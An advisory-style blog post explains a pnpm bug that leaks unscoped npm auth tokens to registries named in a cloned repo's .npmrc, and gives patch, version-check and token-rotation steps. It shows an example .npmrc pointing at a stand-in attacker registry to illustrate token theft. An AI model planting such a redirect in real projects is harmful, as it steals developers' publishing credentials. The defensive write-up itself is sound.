CVE-2026-50017: pnpm Leaked npm Auth Tokens to Untrusted Registries. Are You Patched?

If you run pnpm and have an unscoped npm auth token sitting in your global config, the short version is: upgrade to pnpm 10.34.0 or 11.4.0 today. CVE-2026-50017 let that token get sent to a registry a repository chose for you, not one you chose yourself, and the fix is a version bump with no other changes required.

What the bug actually does

npm’s config system supports a default registry plus scoped or unscoped auth tokens. An unscoped token, one not tied to a specific package scope, is meant to authenticate you against your default registry wherever you use it. A repository can also ship its own local .npmrc that sets registry= to point installs at a different registry entirely, which is a normal and legitimate thing for private registries and monorepos to do.

The bug: prior to the fix, when your global config had a default registry and an unscoped _authToken, and a repository’s local .npmrc set a different registry= value, pnpm bound your user-origin unscoped token to that repository-selected registry and sent it as an Authorization header. Your credential, meant for your registry, went to whatever registry the repo pointed at.

# your global ~/.npmrc
registry=https://registry.npmjs.org/
//registry.npmjs.org/:_authToken=npm_your_real_token_here

# a repo's local .npmrc, checked into the project you just cloned
registry=https://attacker-controlled-registry.example.com/

Run pnpm install inside that second repo on a vulnerable pnpm version, and your token goes to attacker-controlled-registry.example.com in the Authorization header. Nothing in that flow requires the repo to run any code. The leak happens as part of dependency resolution, before any install script executes.

Where this actually bites

This isn’t a remote code execution bug, and the CVSS 6.9 (moderate) score reflects that. The impact is credential disclosure, but that’s a meaningful category on its own. An npm auth token can publish new versions of any package you’re a maintainer or collaborator on. A leaked token turns into a supply chain incident if it reaches someone who uses it to push a malicious release under your name.

The realistic exposure scenarios:

• Cloning and installing dependencies in an unfamiliar open source repository while you have a personal npm token configured globally.
• CI pipelines that check out external pull requests and run pnpm install with a maintainer-scoped token available in the environment.
• Contractors or new hires who inherit a laptop’s global npm config and start working across many repos, some of which they didn’t audit first.

None of these are exotic. They’re normal developer workflows, which is exactly why an unscoped-credential bug in a package manager used this widely is worth an afternoon of attention rather than a shrug.

Fix and verification

pnpm --version
# if below 10.34.0, or between 11.0.0 and below 11.4.0, you're affected

pnpm add -g pnpm@latest
pnpm --version
# confirm 10.34.0+ or 11.4.0+

If your project pins pnpm via packageManager in package.json or via Corepack, bump the pin too, since a global upgrade alone won’t change what a pinned CI run actually executes:

{
  "packageManager": "pnpm@11.4.0"
}

There’s no configuration migration involved. The fixed versions simply stop sending the unscoped token to a registry your own config didn’t name.

What to do if you think you were exposed

Version-bumping closes the hole going forward, but it doesn’t undo a token that already left. If you’ve run pnpm install against repositories you didn’t fully trust while on a vulnerable version, and you had an unscoped token configured:

1. Rotate the npm token in question from your npm account settings, don’t just delete and hope.
2. Check npm’s publish activity for any of your packages for versions you didn’t publish.
3. Move toward scoped tokens (tied to a specific registry or scope) instead of unscoped ones where your workflow allows it, since a scoped token has a narrower blast radius even if a similar bug surfaces again.

This is the same underlying lesson as most credential-scope bugs: the fix matters, but rotating what may have already leaked matters just as much, a pattern that shows up again and again in package ecosystem supply chain incidents. Patch pnpm, check your publish history, and treat unscoped tokens as a liability to minimize rather than a convenience to keep.